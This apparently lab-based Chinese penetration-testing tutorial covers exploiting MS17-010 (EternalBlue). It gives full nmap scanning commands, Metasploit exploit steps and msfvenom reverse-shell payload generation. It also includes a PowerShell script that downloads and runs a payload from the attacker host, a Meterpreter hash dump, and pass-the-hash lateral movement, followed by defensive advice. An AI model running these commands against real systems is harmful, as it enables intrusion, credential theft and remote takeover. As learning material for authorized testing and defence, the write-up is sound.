渗透测试学习笔记之案例一
字数 1292 2025-08-29 08:31:41
MS17-010 (EternalBlue) 漏洞利用与渗透测试完整指南
0x00 前言
本教学文档详细记录了针对MS17-010 (EternalBlue)漏洞的完整渗透测试流程,从信息收集到漏洞利用,再到后渗透阶段的操作。该漏洞是Windows SMBv1服务器中的一个远程代码执行漏洞(CVE-2017-0143),风险等级为高危。
0x01 实验环境
- 目标网络: 10.11.1.0/24
- 攻击机: Kali Linux (IP: 10.11.0.79)
- 工具集: Nmap, Metasploit Framework, msfvenom, pth-winexe
0x02 信息收集阶段
1. 扫描开放SMB服务的主机
nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt
提取Windows主机IP:
cat smb_service.txt | grep -i windows | cut -d" " -f2
提取所有开放SMB服务的主机IP:
cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt
2. 扫描存在SMB漏洞的主机
查找可用的SMB漏洞扫描脚本:
find / -name smb*vuln*.nse
批量扫描所有SMB漏洞:
for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do
nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt;
done
查看发现的漏洞:
cat smb_vulns_smb-vuln-*.txt | grep IDs:
0x03 漏洞利用阶段
1. 验证MS17-010漏洞
nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt
2. 使用Metasploit进行攻击
启动Metasploit并配置EternalBlue模块:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
show options
设置目标IP并执行攻击:
set RHOST 10.11.1.220
exploit
成功标志: 获得nt authority\system权限的shell
0x04 后渗透阶段
1. 系统信息收集
检查系统版本:
dir c:\
2. 生成Meterpreter Payload
64位Windows Payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f exe -a x64 --platform win -o mp_64.exe
32位Windows Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f exe -a x86 --platform win -o mp_86.exe
3. 设置监听器
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.11.0.79
set LPORT 8080
run
4. 上传并执行Payload
在目标机器上创建PowerShell下载脚本:
echo $storageDir=$pwd > wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
执行脚本并运行payload:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
mp_64.exe
5. Meterpreter操作
常用命令:
screenshot: 截取屏幕hashdump: 导出密码哈希shell: 获取系统shellgetsystem: 提权
示例哈希导出结果:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
0x05 Pass The Hash攻击
使用获取的NTLM哈希进行认证:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e
pth-winexe -U Administrator% //10.11.1.220 cmd
0x06 渗透测试流程总结
- 信息收集: 使用Nmap扫描开放SMB服务的主机
- 漏洞扫描: 使用Nmap脚本扫描特定SMB漏洞
- 漏洞验证: 确认MS17-010漏洞存在
- 漏洞利用: 使用Metasploit的EternalBlue模块攻击
- 权限提升: 获得system权限
- 后渗透:
- 生成Meterpreter payload
- 上传并执行payload
- 获取稳定会话
- 导出密码哈希
- 横向移动: 使用Pass The Hash技术
0x07 注意事项
- 实际环境中,某些主机可能因为架构不匹配而攻击失败
- 确保payload架构与目标系统匹配(32位/64位)
- 在企业环境中进行渗透测试前必须获得书面授权
- 测试完成后应清理痕迹,删除上传的文件
- 该漏洞影响Windows 7/Server 2008 R2及更早版本,确保打上MS17-010补丁
0x08 防御措施
- 禁用SMBv1协议
- 及时安装安全更新
- 启用网络级认证(NLA)
- 配置防火墙规则限制SMB端口(139/445)的访问
- 使用网络分割限制SMB通信范围